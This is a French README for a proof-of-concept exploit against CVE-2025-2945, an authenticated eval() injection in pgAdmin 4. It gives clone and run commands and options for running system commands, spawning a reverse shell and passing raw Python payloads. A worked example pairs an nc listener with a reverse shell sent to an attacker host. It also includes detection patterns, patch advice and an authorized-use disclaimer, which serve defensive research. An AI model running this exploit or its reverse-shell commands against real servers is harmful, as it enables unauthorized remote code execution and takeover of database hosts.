
PoC pour CVE-2025-2945 — injection RCE via eval() authentifiée dans pgAdmin 4, CVSS 9.9
CVSS 3.1 : 9,9 (Critique) · Versions concernées : pgAdmin 4 8.10 – 9.1 · Corrigé dans : 9.2 (4 avril 2025)
CWE-95 (Neutralisation incorrecte des directives dans du code évalué dynamiquement / Injection par eval)
Une preuve de concept d'exploitation pour CVE-2025-2945, une vulnérabilité
d'exécution de code à distance authentifiée dans l'outil de requête de
pgAdmin 4. Un indicateur booléen d'état de transaction (query_commited)
est passé directement dans eval() de Python au lieu d'être analysé comme
un booléen, ce qui permet à un utilisateur authentifié d'exécuter du code
Python arbitraire — et par extension, des commandes système arbitraires —
avec les privilèges du processus du service pgAdmin. Le même anti-modèle est
présent une seconde fois dans le module de déploiement cloud du fournisseur
Google (high_availability).
Une analyse technique complète couvrant la cause racine, la logique d'exploitation, les conseils de détection et la remédiation est disponible ici : khashayarnazarkardeh.com — Notes de terrain
Code vulnérable (web/pgadmin/tools/sqleditor/__init__.py) :
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Code corrigé (pgAdmin 9.2+) :
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
La vulnérabilité nécessite une session pgAdmin authentifiée et une transaction de l'outil de requête liée à un serveur de base de données déjà enregistré dans le compte cible. Ces deux conditions préalables sont courantes dans les déploiements réels, où pgAdmin est généralement préconfiguré avec une ou plusieurs connexions serveur enregistrées.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <cible> --port 80 \
--username <email-pgadmin> --password <mot-de-passe-pgadmin> \
--db-user <utilisateur-bd> --db-password <mot-de-passe-bd> --db-name <nom-bd> \
--cmd id
| Option | Description |
|---|---|
--cmd COMMANDE | Exécute une seule commande système via os.system() |
--reverse-shell HOTE:PORT | Génère un shell inversé via tube nommé vers un écouteur que vous contrôlez |
--raw-payload EXPR | Passe une expression Python brute directement au sink eval() vulnérable |
# Sur votre hôte d'attaque, dans un terminal séparé :
nc -lvnp 4444
# Exécutez l'exploit :
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Les défenseurs doivent surveiller :
/sqleditor/query_tool/download/<trans_id> ou
/cloud/deploy où query_commited / high_availability est autre chose
qu'un "true", "false", "1" ou "0" littéral.__import__, os.system, subprocess,
eval, exec, open() apparaissant dans l'un ou l'autre paramètre.Mettez à niveau vers pgAdmin 4 9.2 ou version ultérieure. Le correctif est minimal et à faible risque, consistant en une coercition booléenne. Lorsqu'un correctif immédiat n'est pas possible, restreignez l'accès réseau à pgAdmin aux réseaux authentifiés de confiance et désactivez le module de déploiement cloud pour les comptes qui n'en ont pas besoin.
Khashayar Nazarkardeh — Leader en cybersécurité et sécurité IA khashayarnazarkardeh.com · @Khashayarnzk
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés, de recherche et d'éducation. L'exécuter contre tout système sans autorisation explicite et documentée du propriétaire du système est illégal dans la plupart des juridictions. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. En utilisant ce script, vous acceptez d'être seul responsable de vous assurer que vous avez la permission de tester la cible.